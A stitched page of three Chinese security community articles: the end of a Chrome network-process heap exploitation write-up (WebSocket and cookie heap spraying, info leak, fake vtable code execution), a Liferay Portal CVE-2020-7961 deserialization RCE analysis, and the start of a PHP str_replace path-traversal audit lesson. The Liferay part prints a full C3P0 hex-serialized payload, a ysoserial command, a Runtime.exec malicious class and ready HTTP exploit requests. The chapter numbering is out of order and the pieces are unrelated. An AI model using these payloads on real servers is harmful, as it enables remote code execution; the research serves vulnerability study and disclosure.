我们的exploit在成功之前可以尝试几次。
**NetToMojoPendingBuffer**
通过枚举与网络进程相关的类，我们能够相对快速地找到适合于构造“write-what-where”（任意写）原语的对象。在每个URLLoader::ReadMore调用上都会创建一个新的NetToMojoPendingBuffer对象，因此攻击者可以通过延迟在Web服务器分配响应块来控制这些分配。
class COMPONENT_EXPORT(NETWORK_CPP) NetToMojoPendingBuffer
: public base::RefCountedThreadSafe<NetToMojoPendingBuffer> {
mojo::ScopedDataPipeProducerHandle handle_;
void* buffer_;
};
我们不需要担心覆盖handle_因为当Chrome遇到一个无效的handle，它只是提前返回而不会崩溃。将要写入缓冲区备份存储的数据正是下一个HTTP响应块，因此也受到了完全控制。
不过，有一个问题 — 如果没有单独的信息泄漏，单靠原语是不够的。使功能更强大的一个明显方法是对buffer_
进行部分覆盖，然后破坏其他size类中的对象（希望更方便）。但是，指针永远不会被分配到常规堆地址。相反，NetToMojoPendingBuffer对象的备份存储是在一个共享内存区域中分配的，这个区域只用于IPC，不包含对象，所以不会破坏任何东西。
除了NetToMojoPendingBuffer，我们在16字节大小的类中找不到任何立即有用的东西。
**寻找STL容器**
幸运的是，我们并不局限于c++类和结构。相反，我们可以针对任意大小的缓冲区，比如容器备份存储。当一个元素被插入到一个空的std::vector中时，我们为一个单独的元素分配一个存储空间。在随后的插入中，如果没有剩余的空间，它就会加倍。其他一些容器类似的方式操作。因此，如果我们精确地控制对指针向量的插入，我们可以对其中一个指针执行部分覆盖，从而将bug转变为某种类型的混淆。
**WatcherDispatcher**
在我们尝试使用 `NetToMojoPendingBuffer` 时，出现了与 `WatcherDispatcher`
相关的崩溃。WatcherDispatcher类不是特定于网络进程的。它是基础的Mojo结构之一，用于IPC消息发送和接收。类结构如下：
class WatcherDispatcher : public Dispatcher {
using WatchSet = std::set<const Watch*>;
base::Lock lock_;
bool armed_ = false;
bool closed_ = false;
base::flat_map<uintptr_t, scoped_refptr<Watch>> watches_;
base::flat_map<Dispatcher*, scoped_refptr<Watch>> watched_handles_;
WatchSet ready_watches_;
const Watch* last_watch_to_block_arming_ = nullptr;
};
class Watch : public base::RefCountedThreadSafe<Watch> {
const scoped_refptr<WatcherDispatcher> watcher_;
const scoped_refptr<Dispatcher> dispatcher_;
const uintptr_t context_;
const MojoHandleSignals signals_;
const MojoTriggerCondition condition_;
MojoResult last_known_result_ = MOJO_RESULT_UNKNOWN;
MojoHandleSignalsState last_known_signals_state_ = {0, 0};
base::Lock notification_lock_;
bool is_cancelled_ = false;
};
MojoResult WatcherDispatcher::Close() {
// We swap out all the watched handle information onto the stack so we can
// call into their dispatchers without our own lock held.
base::flat_map<uintptr_t, scoped_refptr<Watch>> watches;
{
base::AutoLock lock(lock_);
if (closed_)
return MOJO_RESULT_INVALID_ARGUMENT;
closed_ = true;
std::swap(watches, watches_);
watched_handles_.clear();
}
// Remove all refs from our watched dispatchers and fire cancellations.
for (auto& entry : watches) {
entry.second->dispatcher()->RemoveWatcherRef(this, entry.first);
entry.second->Cancel();
}
return MOJO_RESULT_OK;
}
`std::flat_map`实际上是由`std::vector`支持的，并且`watched_handles_`只包含一个元素，它只需要16个字节。这意味着我们可以覆盖一个Watch指针！
Watch类的大小相对较大，为104字节，由于tcmalloc，我们只能针对大小相似的对象进行部分覆盖。标对象应该包含在某些偏移上的有效指针，以便在调用Watch方法后仍然有效。不幸的是，网络进程似乎不包含满足上述简单类型混淆要求的类。
我们可以利用Watch是一个引用计数类，我们的想法是喷射大量Watch-sized缓冲区，
tcmalloc将这些缓冲区放置在实际Watch对象的旁边，并希望`scoped_refptr`与覆盖的最少有效字节将指向我们的一个缓冲区。缓冲区应将第一个64位word（即fake引用计数）设置为1，其余的设置为0。在这种情况下，调用`WatcherDispatcher::Close`，释放`scoped_refptr`，将触发
fake Watch 的删除，析构函数将优雅地完成，缓冲区将被释放。
如果我们的缓冲区被计划任务发送到攻击者的服务器或返回到renderer进程，这将泄漏tcmalloc的屏蔽freelist指针，或者，更好的是一些有用的指针，如果我们设法在此期间分配其他东西。因此，我们现在需要的是能够在网络进程中创建这样的缓冲区，并延迟发送它们，直到发生破坏。
原来Chrome中的网络进程也负责处理WebSocket连接。重要的是WebSocket是一个低开销的协议，它允许传输二进制数据。如果我们让连接的接收端足够慢,并且发送足够的数据来填充操作系统套接字的发送缓冲区，直到`TCPClientSocket::Write`
变为“异步”操作，则后续对`WebSocket::send`的调用将导致原始帧数据被存储为IOBuffer
对象，每个调用只有两个额外的32字节分配。此外，我们可以通过修改接收端的延迟来控制缓冲区的存活时间。
看起来我们找到了一个近乎完美的堆喷射原语!不过它有一个缺点——不能释放独立的缓冲区。当大量发送或断开连接时，与连接相关的所有帧都会立即释放。显然，我们不能为每个spray对象建立WebSocket连接，并且上面的每个操作都会在堆中产生许多不希望的“noise”。不过，让我们暂时把它放在一边。
方法概述如下：
不幸的是，`watched_handles_` 很快被证明是一个欠佳的目标。它的一些缺点是：
* 实际上有两个flat _map成员，但是我们只能使用其中的一个，因为破坏 watched_handles_ 将在RemoveWatcherRef虚函数调用期间立即触发崩溃。
* 每个`WatcherDispatcher`分配在我们关注的size类中触发许多“noise”。
* 在Watch size类中，指针的LSB有16个(= 256 / GCD(112, 256))可能的值，其中大多数值甚至不会指向对象的头部。
尽管我们可以使用这种方法泄漏一些数据，但其成功率很低。该方法似乎是合理的，但是我们必须找到一个更“方便”的容器来覆盖。
**WebSocketFrame**
现在是时候仔细看看如何实现发送WebSocket frame了。
class NET_EXPORT WebSocketChannel {
[...]
std::unique_ptr<SendBuffer> data_being_sent_;
// Data that is queued up to write after the current write completes.
// Only non-NULL when such data actually exists.
std::unique_ptr<SendBuffer> data_to_send_next_;
[...]
};
class WebSocketChannel::SendBuffer {
std::vector<std::unique_ptr<WebSocketFrame>> frames_;
uint64_t total_bytes_;
};
struct NET_EXPORT WebSocketFrameHeader {
typedef int OpCode;
bool final;
bool reserved1;
bool reserved2;
bool reserved3;
OpCode opcode;
bool masked;
uint64_t payload_length;
};
struct NET_EXPORT_PRIVATE WebSocketFrame {
WebSocketFrameHeader header;
scoped_refptr<IOBuffer> data;
};
ChannelState WebSocketChannel::SendFrameInternal(
bool fin,
WebSocketFrameHeader::OpCode op_code,
scoped_refptr<IOBuffer> buffer,
uint64_t size) {
[...]
if (data_being_sent_) {
// Either the link to the WebSocket server is saturated, or several
// messages are being sent in a batch.
if (!data_to_send_next_)
data_to_send_next_ = std::make_unique<SendBuffer>();
data_to_send_next_->AddFrame(std::move(frame));
return CHANNEL_ALIVE;
}
data_being_sent_ = std::make_unique<SendBuffer>();
data_being_sent_->AddFrame(std::move(frame));
return WriteFrames();
}
WebSocketChannel使用两个独立的SendBuffer对象来存储传出帧。当连接饱和时，新的帧进入`data_to_send_next_`。而且，由于缓冲区是std::vector<std::unique_ptr<…>>，也可以成为覆盖的目标!但是，我们需要精确地计算在连接饱之前要发送的数据量，否则`data_to_send_next_`的缓冲区将很快变得太大，无法容纳16字节的插槽(Slot)。该值与exploit中的`FRAMES_ENOUGH_TO_FILL_BUFFER`常量绑定，取决于网络和系统配置。从理论上讲，该exploit可以自动计算值;我们只是在“本地主机”和“同一局域网”的情况下手动操作。另外，为了使饱和过程更加可靠，必须将WebSocket服务器套接字的SO_RCVBUF选项更改为一个相对较小的值，并且必须禁用数据压缩。
如上所述，我们的堆喷射技术为每个“desired”额外分配了两个32字节。不幸的是，WebSocketFrame，一个我们计划覆盖的指针，大小正好是32字节。这意味着，除非我们使用一些额外的堆操作技巧，否则在堆喷射期间生成的所有对象中只有1/3是正确的类型。另一方面，与Watch类相比，这个size类中LSB的值可能只有Watch类的一半，指向正确分配起始的几率更大。更重要的是，与`WatcherDispatcher`不同，`WebSocket::Send`不会触发16字节范围内的任何分配，除了调整我们所针对`std::vector`的大小之外，所以size类中的堆喷射应该是干净的。总的来说，这使得`data_to_send_next_`成为更好的目标。
**分配方式**
由于缺乏更好的替代方法，我们必须使用`WebSocket::Send`作为默认的堆操作工具。它至少负责:
* 使用32字节缓冲区进行喷射，我们希望覆盖其中一个WebSocketFrame指针。
* 插入目标向量条目并创建绑定的WebSocketFrame 。
* 分配IOBuffer 对象代替释放的缓冲区。
上面红色显示的对象是“多余的”分配。每一个都会对exploit的稳定性产生负面影响，但我们目前还无法避免，只能希望在无限制的重试次数下不会有太大影响。
**信息泄漏**
一旦我们可以相当可靠地覆盖WebSocketFrame指针，我们就将这个稍微有些恼人的原语转换为一个新的原语，它只允许我们破坏16字节bucket的对象，而允许我们从32字节bucket中释放一个分配。由于`data_to_send_next_`使用的是`std::unique_ptr`而不是`scoped_refptr`，所以我们也不必关心是否要创建一个假的引用计数器。这个free的fake
WebSocketFrame唯一要求是它的指针必须为null。
我们可以使用这个原语来构建一个非常有用的infoleak(信息泄露)，它将为我们提供Chrome二进制文件在内存中的位置，以及我们可以在堆上控制的数据的位置，从而为我们提供完成exploit所需的所有信息。
在堆操作中使用WebSockets的一个优点是浏览器将把存储在这些帧中的数据发送到服务器，因此如果我们可以使用这个空闲空间来释放已经排队等待发送的`IOBuffer`的备份存储空间，我们将能够泄漏分配的新内容。外，由于这个size类与`IOBuffer`对象的分配大小相匹配，所以我们可以用一个新的`IOBuffer`对象替换空闲的备份存储。这将泄漏IOBuffer
vtable指针，这是我们需要的第一个信息。
然而，IOBuffer对象还包含一个指向它的备份存储器的指针——这是一个大小由我们控制的堆分配。如果我们确保这是一个不会被干扰堆操作的size类，那么现在就可以泄漏这个指针，然后在exploit中释放这个分配并重用它来做更有用的事情。
**代码执行**
我们就快讲完了,假设我们可以重复使用泄漏分配的地址,我们知道我们可以写一些数据,我们知道应该在那里写什么数据，并且我们拥有为infoleak构建的相对强大的32字节空闲原语。
不幸的是，正如上面所提到的，我们并没有一个很好的原语来单独分配iobuffer或websocketframe;虽然对于infoleak，我们没有太多的灵活性(我们需要释放一个`IOBuffer`备份存储，我们需要用一个`IOBuffer`对象替换它)，对于我们exploit的下一个阶段，我们有一些选择来尝试并增加我们成功的机会。
由于我们不再对释放`IOBuffer`备份存储感兴趣，我们可以将这些分配转移到一个不同大小的类中，这样我们现在就有三种不同的对象类型来自32字节的bucket:WebSocketFrame、IOBuffer和SendBuffer。如果我们能够完美地喷射，那么我们应该能够安排有3对“target
IOBuffer”、“target WebSocketFrame”和“victim
WebSocketFrame”。这意味着，当我们通过再次触发漏洞来破坏指向“victim
WebSocketFrame”的指针时，我们有相同的几率释放`IOBuffer`或`WebSocketFrame`。
通过我们精心设计的替代对象，我们可以利用这两种可能性。我们将在调用`WebSocketFrame`或`IOBuffer`的析构函数期间获得对执行的控制。`WebSocketFrame`中唯一真正重要的字段是数据指针，它需要指向IOBuffer对象。因为这对应于IOBuffer对象尾部的填充字节，所以我们可以创建一个替换对象来填充释放的IOBuffer或释放的`WebSocketFrame`的空间。
当替换对象被释放时，如果我们替换了一个IOBuffer，那么当refcount递减为0时，我们将通过我们的fake vtable得到一个虚调用 —
如果我们替换了一个WebSocketFrame，那么`WebSocketFrame`将释放它的数据成员，我们已经指向另一个fake
IOBuffer，这将通过我们的fake vtable再次导致一个虚调用。
在上面的所有过程中，我们一直忽略了一个小细节——由于我们之前的精心准备，这个小细节实际上是相当小的——我们需要将第二个fake IOBuffer和fake
vtable存储到一个已知的内存地址中。不幸的是，由于泄漏的IOBuffer对象将被释放，因此我们无法释放之前泄漏的分配地址。
不过，这并不是一个大问题；我们可以选择让那些较大的分配进入一个“quiet”的bucket大小。如果我们预先用两个不同的websocket替换缓冲区准备bucket大小，那么我们可以释放其中一个websocket，以确保泄漏的地址与第二个websocket的缓冲区相邻。泄露地址后，我们可以释放第二个websocket，并用我们的fake对象替换相邻缓冲区的内容。
总之，我们使用已知地址的较大IOBuffer备份数据将可控数据写入内存。它包含一个fake IOBuffer vtable，以及我们的代码重用payload
和第二个伪IOBuffer。然后，我们可以再次触发该漏洞，这一次将导致IOBuffer对象或WebSocketFrame对象造成UAF，这两个对象都将使用指向更大IOBuffer备份数据的指针，这些数据现在位于已知地址。
释放破坏的对象后，我们的payload就会运行，我们的工作就完成的差不多……
**概述：Component breakdown**
在这一点上，我们有很多可移动的部分，所以对于那些想深入了解exploit源代码的人，这里有一个快速的细分：
* serv.py：一个自定义Web服务器，它只处理对映像文件的请求，并返回相应的响应序列以触发该漏洞。
* pywebsocket.diff：pywebsocket的几个补丁，删除了压缩并为websocket服务器设置了SO_RCVBUF。
* get_chrome_offsets.py：一个脚本，它将附加到正在运行的浏览器并收集payload所需的所有偏移量。这需要安装frida。
* CrossThreadSleep.py：实现了一个基本的可sleepable等待原语，用于sleep websocket服务器中的各个线程并从其他线程唤醒它们。
* exploit/echo_wsh.py：pywebsocket的websocket处理程序，用于处理将导致定时延迟或可唤醒延迟的多个消息类型，从而允许我们进行所需的套接字缓冲操作。。
* exploit/wake_up_wsh.py：pywebsocket的websocket处理程序，它处理多个控制消息以唤醒sleeping的“echo”套接字。
* exploit/exploit.html：用于实现exploit逻辑的javascript代码。
我们还提供了一些脚本，让读者更容易获得一个容易出现问题的Chromium版本，并正确设置其他环境:
* get_chromium.sh：检查并配置一个存在漏洞的Chromium版本的一个shell脚本。
* get_pywebsocket.sh：下载pywebsocket并为exploit服务器打补丁的一个shell脚本。
* run_pywebsocket.sh：用于启动攻击服务器的shell脚本。需要单独运行servlet.py脚本。
exploit服务器在两个端口上运行：exploit.html由websocket服务器提供，第二个服务器用于触发漏洞。
## Chapter 5: 更稳定的exploit
我们有一个exploit，有时起作用。它在堆喷射期间创建了很多“无效的”分配，我们对命中正确的对象类型做了很多假设，因此让我们评估一次成功运行exploit的概率：
考虑到一次运行大约需要一分钟，即使我们几乎没有重试的次数，这绝对也不是令人满意的结果。
**基于Cookie的堆修饰**
为了使堆喷射更加稳定，我们需要一种方法来区分“good”和“bad”32字节分配。读者可能已经注意到，在网络进程中精确地操作堆并不是一件容易的事，特别是从一个不受破害的renderer。
HTTP
cookie是我们尚未考虑的与网络相关的功能之一。出乎意料的是，网络进程不仅负责发送和接收cookie，还负责将它们存储在内存中并保存到磁盘。由于存在Cookie操作的JavaScript
API，而且操作看起来并不复杂，所以我们可以使用API来构建额外的堆操作原语。
经过一些测试，我们构建了三个新的堆操作原语：
说实话，它们比我们预期的要简单得多。例如，下面是Frida脚本的输出，该脚本跟踪free_slot()方法执行期间的32字节堆状态转换，顾名思义，它只是在32字节的freelist后面附加一个新条目。
正如你所看到的，它可能不是我们想要的简单、干净、整洁的原语，但它做了我们需要它做的事情!
通过小心地将新方法集成到exploit中，我们可以消除内存区域中堆喷射所有不需要的分配。更新后的信息泄露示意图如下:
现在，在最坏的情况下，我们将用相同的值覆盖WebSocketFrame指针的LSB，这将不起作用。这给了我们7/8而不是2/8作为我们“稳定性”公式的第一个乘数。对于实施的其他部分也是如此。因此，上面的总概率应该提高到每次运行0.75。
同样，此方法有一些限制，例如：
* 在Chrome中，网站可以容纳的Cookie数量上限为180个。
* 第512个与Cookie相关的操作都会触发将内存中的Cookie存储刷新到磁盘上，这会破坏任何堆喷射。
* 每30秒自动刷新一次。
* 我们网站的cookie存储应该在每次运行spray之前处于特定状态，否则操作方法可能会产生不稳定的结果。
幸运的是，我们的exploit设计可以自动处理上述大多数限制。堆喷射必须分成小块，但可以单独处理。因此，由于我们已经达到了WebSocket最大已连接数量相关的喷射大小的限制，实际的exploit最终变得不那么稳定。然而，再加上重新启动网络进程的功能，似乎在成功之前通常只需要2-3次尝试，这比之前的版本要好得多。
## Chapter 3: 结论
Chrome所做的服务化工作对这种bug的开发产生了一些不错的影响。首先，将这段代码移动到一个独立的服务进程(网络服务)中对查找稳定的堆修饰原语的难度有很大的影响。这意味着，即使没有适当的沙盒，Chrome中的网络服务实现也使现在的网络堆栈比之前更难利用了！实现相对较少的服务进程与较大的独立组件相比，本质上是更难以利用的目标;它们减少了可用的机器数量，这减少了攻击者的选择。我们没有考虑到这一点，所以这是一个非常不错的惊喜。
其次，重新启动服务进程有助于开发。对于exploit开发人员来说，知道可以进行任意尝试可以减轻很多压力，有更多的自由去创建和使用不稳定的原语。在没有随机化的进程平台上更是如此，我们选择Linux是为了构建一个稳定的信息泄漏，在其他平台上利用可能更容易。
考虑到额外的复杂性和稳定性问题，这类bug目前不太可能被攻击者使用。renderer bug和 OS/kernel
特权提升的“传统”浏览器开发链更易于编写和维护。
但是，如果这些链开始变得稀少，攻击者可能会转移到这种漏洞上，这种想法并不是不现实的，我们已经证明了这种问题是可能的。这意味着即使这些不太常见的攻击，沙盒检查对于浏览器的整体安全性也很重要。 | 社区文章 |
#### 漏洞描述
近日,Code White公开了在Liferay
Portal中发现的JSON反序列化高危漏洞,未授权的攻击者可以通过精心构造的恶意数据对API接口发起远程代码执行的攻击.
Liferay是一个开源的Portal产品,提供对多个独立系统的内容集成,为企业信息、流程等的整合提供了一套完整的解决方案,和其他商业产品相比,Liferay有着很多优良的特性,而且免费,在全球都有较多用户.
#### 漏洞编号
CVE-2020-7961
LPS-88051/LPE-165981
#### 漏洞威胁等级
高危
#### 影响范围
Liferay Portal 6.1.X
Liferay Portal 6.2.X
Liferay Portal 7.0.X
Liferay Portal 7.1.X
Liferay Portal 7.2.X
#### 简单分析
##### 1.漏洞成因
Liferay Portal其实主要是两个版本存在问题,一个是6.X,另一个是7.X.
6.X使用的是`Flexjson`对json数据进行处理,而7.X则使用`Jodd
Json`.因为api并不接收纯json数据,所以这里我只研究了6.X的`Flexjson`,但对于api来说payload为通用的并不需要划分版本.
##### 2.Flexjson的RCE
我们先搭建Flexjson的环境,直接使用pom导入如下xml即可
<!-- https://mvnrepository.com/artifact/net.sf.flexjson/flexjson -->
<dependency>
<groupId>net.sf.flexjson</groupId>
<artifactId>flexjson</artifactId>
<version>3.1</version>
</dependency>
查阅文档我们可知,`Flexjson`处理json的写法如下
JSONDeserializer jsonDeserializer = new JSONDeserializer();
try {
jsonDeserializer.deserialize(json);
}catch (Exception e){
e.printStackTrace();
}
这里我们只需要传入一个json的字符串即可.如果我们要测试rce,则需要构造一个声明类的恶意json数据.例如声明`javax.swing.JEditorPane`.
这个类几天前可用作`Jackson
Databind`和`fastjson`的ssrf探测,当然都需要打开autotype开关才行.而在`Flexjson`中,这个类并不存在于黑名单中,可以直接使用.接下来的问题是如何RCE?我尝试构造了恶意的json,发现`C3P0`和`com.sun.rowset.JdbcRowSetImpl`这两个gagdet是可以使用的.
这里给出一段`C3P0`的示例json.
String json2 = "{\"class\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:ACED000573720028636F6D2E6D6368616E67652E76322E633370302E506F6F6C4261636B656444617461536F75726365DE22CD6CC7FF7FA802000078720035636F6D2E6D6368616E67652E76322E633370302E696D706C2E4162737472616374506F6F6C4261636B656444617461536F75726365000000000000000103000078720031636F6D2E6D6368616E67652E76322E633370302E696D706C2E506F6F6C4261636B656444617461536F757263654261736500000000000000010300084900106E756D48656C706572546872656164734C0018636F6E6E656374696F6E506F6F6C44617461536F757263657400244C6A617661782F73716C2F436F6E6E656374696F6E506F6F6C44617461536F757263653B4C000E64617461536F757263654E616D657400124C6A6176612F6C616E672F537472696E673B4C000A657874656E73696F6E7374000F4C6A6176612F7574696C2F4D61703B4C0014666163746F7279436C6173734C6F636174696F6E71007E00044C000D6964656E74697479546F6B656E71007E00044C00037063737400224C6A6176612F6265616E732F50726F70657274794368616E6765537570706F72743B4C00037663737400224C6A6176612F6265616E732F5665746F61626C654368616E6765537570706F72743B7870770200017372003D636F6D2E6D6368616E67652E76322E6E616D696E672E5265666572656E6365496E6469726563746F72245265666572656E636553657269616C697A6564621985D0D12AC2130200044C000B636F6E746578744E616D657400134C6A617661782F6E616D696E672F4E616D653B4C0003656E767400154C6A6176612F7574696C2F486173687461626C653B4C00046E616D6571007E000A4C00097265666572656E63657400184C6A617661782F6E616D696E672F5265666572656E63653B7870707070737200166A617661782E6E616D696E672E5265666572656E6365E8C69EA2A8E98D090200044C000561646472737400124C6A6176612F7574696C2F566563746F723B4C000C636C617373466163746F727971007E00044C0014636C617373466163746F72794C6F636174696F6E71007E00044C0009636C6173734E616D6571007E00047870737200106A6176612E7574696C2E566563746F72D9977D5B803BAF010300034900116361706163697479496E6372656D656E7449000C656C656D656E74436F756E745B000B656C656D656E74446174617400135B4C6A6176612F6C616E672F4F626A6563743B78700000000000000000757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000A707070707070707070707874000C4578706F72744F626A656374740011687474703A2F2F3132372E302E302E312F7400076578706C6F697470707070770400000000787702000178;\"}";
这段payload主要为声明调用的class是`com.mchange.v2.c3p0.WrapperConnectionPoolDataSource`,且使用`userOverridesAsString`这个setter,对于传入的`HexAsciiSerializedMap`其实为序列化文件的hex编码.序列化文件我们可以使用ysoserial生成.
`java -jar ysoserial.jar C3P0 "http://127.0.0.1/:ExportObject" > 1.ser`
`C3P0`的gagdet使用需要在http协议下进行加载恶意的class,在http协议下使用`:`进行绑定.我给出如下恶意类的源码.
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class ExportObject {
public ExportObject() throws Exception {
Process p = Runtime.getRuntime().exec("open -a calculator");
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
既然序列化文件`1.ser`生成好了怎么转换为hex字节码了?我在CVE-2019-2725的时候就问过好兄弟afanti这个问题,从他那里我得到了答案.
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
public class Echo3 {
public Echo3() {
}
public static void main(String[] args) throws IOException {
InputStream in = new FileInputStream("/Users/xue/Documents/NetSafe/Tools/JavaTools/1.ser");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data, 4984);
System.out.println(HexString);
}
public static byte[] toByteArray(InputStream in) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buffer = new byte[4096];
boolean var3 = false;
int n;
while((n = in.read(buffer)) != -1) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
public static String bytesToHexFun3(byte[] bytes) {
StringBuilder buf = new StringBuilder(bytes.length * 2);
byte[] arr$ = bytes;
int len$ = bytes.length;
for(int i$ = 0; i$ < len$; ++i$) {
byte b = arr$[i$];
buf.append(String.format("%02x", new Integer(b & 255)));
}
return buf.toString();
}
}
我们在这个位置填入ser序列化文件的绝对路径即可转换为hex并打印输出到控制台
好了,既然`Flexjson`的RCE搞定了我们来说下怎么对`Liferay Portal`进行rce.
##### 3.Liferay Portal JSON Web Service的RCE
###### 3.1漏洞环境构建
首先我们先下载漏洞环境,这里我使用了官方集成tomcat的环境.
`https://cdn.lfrs.sl/releases.liferay.com/portal/7.1.2-ga3/liferay-ce-portal-tomcat-7.1.2-ga3-20190107144105508.7z`
下载好以后解压进入`liferay-ce-portal-7.1.2-ga3/tomcat-9.0.10/bin`目录,然后还是熟悉的`./catalina.sh run`即可启动环境.
###### 3.2报文构造和gagdets
接着我们可以访问`http://localhost:8080/api/jsonws/`进入它的api.这里我们可以使用下面的报文格式进行声明类的调用.
POST /api/jsonws/expandocolumn/update-column HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: GGGGG
Content-Length: 2431
Content-Type: application/x-www-form-urlencoded
defaultData=1&name=1&com.liferay.expando.kernel.model.ExpandoColumn=1&com.liferay.portlet.expando.service.impl.ExpandoColumnServiceImpl=1&com.liferay.portal.kernel.exception.PortalException=1&updateColumn=1&p_auth=1&type=1&defaultData:class类名=json数据&columnId=1
例如我们使用`C3P0`.
POST /api/jsonws/expandocolumn/update-column HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: GGGGGGG
Content-Length: 2431
Content-Type: application/x-www-form-urlencoded
defaultData=1&name=1&com.liferay.expando.kernel.model.ExpandoColumn=1&com.liferay.portlet.expando.service.impl.ExpandoColumnServiceImpl=1&com.liferay.portal.kernel.exception.PortalException=1&updateColumn=1&p_auth=1&type=1&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:ACED000573720028636F6D2E6D6368616E67652E76322E633370302E506F6F6C4261636B656444617461536F75726365DE22CD6CC7FF7FA802000078720035636F6D2E6D6368616E67652E76322E633370302E696D706C2E4162737472616374506F6F6C4261636B656444617461536F75726365000000000000000103000078720031636F6D2E6D6368616E67652E76322E633370302E696D706C2E506F6F6C4261636B656444617461536F757263654261736500000000000000010300084900106E756D48656C706572546872656164734C0018636F6E6E656374696F6E506F6F6C44617461536F757263657400244C6A617661782F73716C2F436F6E6E656374696F6E506F6F6C44617461536F757263653B4C000E64617461536F757263654E616D657400124C6A6176612F6C616E672F537472696E673B4C000A657874656E73696F6E7374000F4C6A6176612F7574696C2F4D61703B4C0014666163746F7279436C6173734C6F636174696F6E71007E00044C000D6964656E74697479546F6B656E71007E00044C00037063737400224C6A6176612F6265616E732F50726F70657274794368616E6765537570706F72743B4C00037663737400224C6A6176612F6265616E732F5665746F61626C654368616E6765537570706F72743B7870770200017372003D636F6D2E6D6368616E67652E76322E6E616D696E672E5265666572656E6365496E6469726563746F72245265666572656E636553657269616C697A6564621985D0D12AC2130200044C000B636F6E746578744E616D657400134C6A617661782F6E616D696E672F4E616D653B4C0003656E767400154C6A6176612F7574696C2F486173687461626C653B4C00046E616D6571007E000A4C00097265666572656E63657400184C6A617661782F6E616D696E672F5265666572656E63653B7870707070737200166A617661782E6E616D696E672E5265666572656E6365E8C69EA2A8E98D090200044C000561646472737400124C6A6176612F7574696C2F566563746F723B4C000C636C617373466163746F727971007E00044C0014636C617373466163746F72794C6F636174696F6E71007E00044C0009636C6173734E616D6571007E00047870737200106A6176612E7574696C2E566563746F72D9977D5B803BAF010300034900116361706163697479496E6372656D656E7449000C656C656D656E74436F756E745B000B656C656D656E74446174617400135B4C6A6176612F6C616E672F4F626A6563743B78700000000000000000757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000A707070707070707070707874000C4578706F72744F626A656374740011687474703A2F2F3132372E302E302E312F7400076578706C6F697470707070770400000000787702000178;"}&columnId=1
`com.sun.rowset.JdbcRowSetImpl`的数据构造这里我就不给出了.
对于这个RCE漏洞应该还存在其他的gagdets.我目前在classpath中只发现了`C3P0`、`CommonsBeanutils1`、`CommonsCollections10`三条gagdets.`C3P0`中的`com.mchange.v2.c3p0.WrapperConnectionPoolDataSource`是可以作为序列化文件hex编码加载器加载任意gadgets生成的hex序列化字节码的,比如`CommonsBeanutils1`、`CommonsCollections10`等,也就是说我们可以构造出不出网的payload.
###### 3.3回显构造
我自行获取了Liferay Portal的context,直接使用它曲线救国的获取到了request和response.
`com.liferay.portal.service.ServiceContextThreadLocal.getServiceContext();`
**PS:当然7.X版本的context包名和6.X是不一致的.**
对于中间件是tomcat而言,我们也可以使用长亭发出的tomcat全局request\response;当然对于Unix而言,00theway大哥的Unix通杀回显也可以做到.比起这两种方式,还是手动获取context,拿到response和request更为稳定.
我们这里可以使用`C3P0`序列化加载hex字节码不出网回显、`C3P0`远程调用恶意类回显、`com.sun.rowset.JdbcRowSetImpl`jndi注入回显.如果使用`C3P0`远程调用恶意类回显,我们只需要将回显代码写入到恶意类的构造方法中.
**感谢chybeta和Ntears的C3P0回显提示.**
如果使用jndi注入回显,可以将序列化文件转为base64,然后使用`javaSerializedData`解码即可.具体的jndi回显实现可以移步文末afanti的文章,同时也是一道某安全公司的Java安全的面试题.
最后我们来看下`C3P0`远程调用恶意类的回显效果
当然我还是最喜欢手动获取context配合`C3P0`序列化加载hex字节码构造的不出网回显.
以下为两个版本的不出网回显演示
#### Reference
<https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html>
<https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/117954271>
<https://www.anquanke.com/post/id/200892> | 社区文章 |
本文由红日安全成员： **七月火** 编写，如有不当，还望斧正。
## 前言
大家好，我们是红日安全-代码审计小组。最近我们小组正在做一个PHP代码审计的项目，供大家学习交流，我们给这个项目起了一个名字叫 [**PHP-Audit-Labs**](https://github.com/hongriSec/PHP-Audit-Labs) 。现在大家所看到的系列文章，属于项目
**第一阶段** 的内容，本阶段的内容题目均来自 [PHP SECURITY CALENDAR
2017](https://www.ripstech.com/php-security-calendar-2017/)
。对于每一道题目，我们均给出对应的分析，并结合实际CMS进行解说。在文章的最后，我们还会留一道CTF题目，供大家练习，希望大家喜欢。下面是 **第9篇**
代码审计文章：
## Day 9 - Rabbit
题目叫做兔子，代码如下：
**漏洞解析** ：
这一题考察的是一个 **str_replace** 函数过滤不当造成的任意文件包含漏洞。在上图代码 **第18行** 处，程序仅仅只是将 **../**
字符替换成空，这并不能阻止攻击者进行攻击。例如攻击者使用payload： **....//** 或者 **..././** ，在经过程序的
**str_replace** 函数处理后，都会变成 **../** ，所以上图程序中的 **str_replace**
函数过滤是有问题的。我们来看一下PHP手册对 **str_replace** 函数的具体定义：
> [ str_replace ](http://php.net/manual/zh/function.str-replace.php)：(PHP 4,
> PHP 5, PHP 7)
>
> **功能** ：子字符串替换
>
